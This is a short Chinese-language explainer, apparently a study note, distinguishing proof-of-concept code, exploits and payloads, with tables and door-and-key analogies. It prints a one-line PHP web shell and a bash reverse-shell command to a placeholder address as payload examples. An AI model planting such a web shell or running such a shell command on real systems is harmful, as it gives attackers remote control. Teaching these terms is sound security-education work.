POC、EXP、Payload 的区别
一句话概括
术语 | 作用 | 阶段 |
|---|---|---|
POC | 证明漏洞存在 | 🔍 验证阶段 |
EXP | 利用漏洞执行操作 | ⚔️ 攻击阶段 |
Payload | 实际执行的代码/数据 | 💉 植入阶段 |
1. POC(Proof of Concept)
概念: 概念验证,证明漏洞确实存在的代码/脚本。
特点:
不一定有完整利用过程
可能只是触发漏洞的最小代码
通常不造成实际危害
示例:发送畸形请求,服务器返回错误信息 → 证明存在 SQL 注入
2. EXP(Exploit)
概念:利用漏洞进行实际攻击的代码,能够完成特定操作(如获取 Shell、上传文件等)。
特点:
有明确的攻击目标
能够真正利用漏洞
可能造成实际损害
示例:通过 SQL 注入登录后台,获取管理员权限
3. Payload
概念:在 EXP 成功后,实际植入或执行的恶意代码/数据。
特点:
是 EXP 的"内容"
决定攻击者能做什么
可以是 Shellcode、后门、命令等
示例:<?php eval($_POST['cmd']); ?> 一句话木马
三者关系
漏洞发现
↓
编写 POC(证明漏洞存在)
↓
编写 EXP(利用漏洞)+ Payload(植入恶意代码)
↓
完成攻击
简单理解:
POC = "这个门有锁"
EXP = "我找到了一把钥匙"
Payload = "钥匙里的窃听器"
实际场景对比
场景 | POC | EXP | Payload |
|---|---|---|---|
SQL注入 | 返回数据库版本 | 爆库/获取密码 | UNION SELECT 查询语句 |
文件上传 | 上传成功但无法访问 | 通过解析漏洞 getshell | 一句话木马文件 |
命令执行 | whoami 回显 | 反弹 Shell | /bin/bash -i >& /dev/tcp/x/x/x 0>&1 |
总结:
POC → 证明"能开"
EXP → 研究出"怎么开"
Payload → 开门后"放什么东西进去"
